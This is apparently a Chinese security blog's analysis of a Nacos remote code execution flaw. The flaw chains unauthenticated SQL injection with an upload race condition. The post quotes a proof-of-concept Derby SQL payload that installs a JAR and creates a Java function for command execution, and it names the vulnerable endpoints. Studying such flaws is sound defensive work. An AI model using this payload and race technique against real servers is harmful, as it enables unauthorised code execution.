当前位置:首页 > 代码审计 > Java > 正文内容

Nacos RCE漏洞分析

UzJu3个月前 (07-19)Java621

漏洞简介

Nacos 是一个开源的、易于使用的动态服务发现、配置和服务管理平台,用于构建云原生应用。它提供了一套简单易用的特性集,用于服务发现和服务健康监测,以及动态配置服务、服务元数据和流量管理。

漏洞描述

RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

影响范围

Alibaba-Nacos:version<=2.3.2受影晌。

漏洞复现

用Github公开的exp可以复现该漏洞。

漏洞分析

从exp可以看出来,本次漏洞涉及2个接口

  • /nacos/v1/cs/ops/derby
  • /nacos/v1/cs/ops/data/removal


这里是存在2个漏洞,1个是SQL注入,1个是文件上传,也就是条件竞争。
由于Nacos默认部署是没有鉴权的,在未配置的情况下,这里也可以未授权。

SQL注入漏洞来源于:https://github.com/alibaba/nacos/issues/10613

这里主要比较有意思的是这个文件上传的过程

核心在com.alibaba.nacos.core.utils.WebUtils#onFileUpload,这里在创建文件之后

会调用Consumer.accept,发布一个处理逻辑,表示文件处理开始。

随后在dataImport中,针对file对象里面的内容进行遍历,随后执行SQL。

核心的逻辑就在这,
前面的模型是,生产者,和消费者,那么Consumer这个消费者,执行前是同步的,但是在调用文件处理的时候,调用了一个异步处理,但是又没有等待异步处理完毕,然后就执行了finally里面的删除DiskUtils.deleteQuietly(tmpFile);删除了临时文件,这就导致了会发生在处理时找不到文件的问题。
例如下面这张图这样。

那么只要让这里执行阻塞就可以了,通过大量的上传,让这里阻塞,就能够让异步执行的时候,有几率找到恶意的文件,然后进行SQLBatch导入。

com.alibaba.nacos.core.persistence.DistributedDatabaseOperateImpl#dataImport 主要是把文件内容拿出来然后执行batchSQL

比如,成功的情况下,就会把SQL取出来,加入到batchSQL中

随后通过doDataImport导入


所以漏洞原理可以概括为: 有这样一个功能,初衷是希望用户能够上传文件,且文件被异步的处理(我个人认为这里功能也有bug,因为就算正常用户去上传,也会执行finally导致文件删除,文件上传失败),通过条件竞争的方式,大量上传请求,导致这里阻塞,生产者创建了文件,但是还没来得及删,异步开始处理,导致把恶意的derby sql导入了数据库,导致了UDF问题。

疑问解答

1、为什么可以UDF
我影响中,默认部署,想要利用MYSQL的UDF,好像不是一件简单的事情,需要有一些配置条件,在看到这个漏洞的时候可以UDF执行命令,这是让我比较疑惑的。
其实主要是因为,默认情况下,使用的是apache的derby数据库,这是一个Java写的数据库,
derby数据库是支持调用Java的方法的。

CALL SQLJ.INSTALL_JAR('file:///path/to/mypackage/MyFunctions.jar', 'APP.MyFunctionsJar', 0);

也就是poc中的这一段

post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n  
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n  
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);

2、这个漏洞是怎么来的?
利用条件竞争实现UDF的导入创建,随后利用一个以往发现的功能去执行SQL,导致了RCE。

漏洞排查

1、影响版本
Alibaba-Nacos:version<=2.3.2受影晌。

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/87.java

分享给朋友:

相关文章

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

环境搭建Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的...

【学习】某OA代码审计笔记

【学习】某OA代码审计笔记

环境搭建Windows搭建推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署一键安装,安装好了之后会提示系统已经到期了,去setup看一眼到6月1号,不过没事,这里改系统时间就可以了成功登录...

JSP后门分析

JSP后门分析

环境部署首先启动一个tomcat的环境先把这里的代码跑起来,访问tomcat在docker中的tomcat/conf中可以看到账号密码将JSP打包为war包 jar -cvf 1.war 1.jsp 随后上传就部署好了 静态代码分析大...

洞态IAST检测优化:Fel表达式注入

洞态IAST检测优化:Fel表达式注入

一、简介 Fel是开放的,引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数),所有这些函数都是可以替换的,扩展函数也非常简单。 Fel有双引擎,同时支持解释执行和编译执行。可以根据...

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

漏洞描述泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileV...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。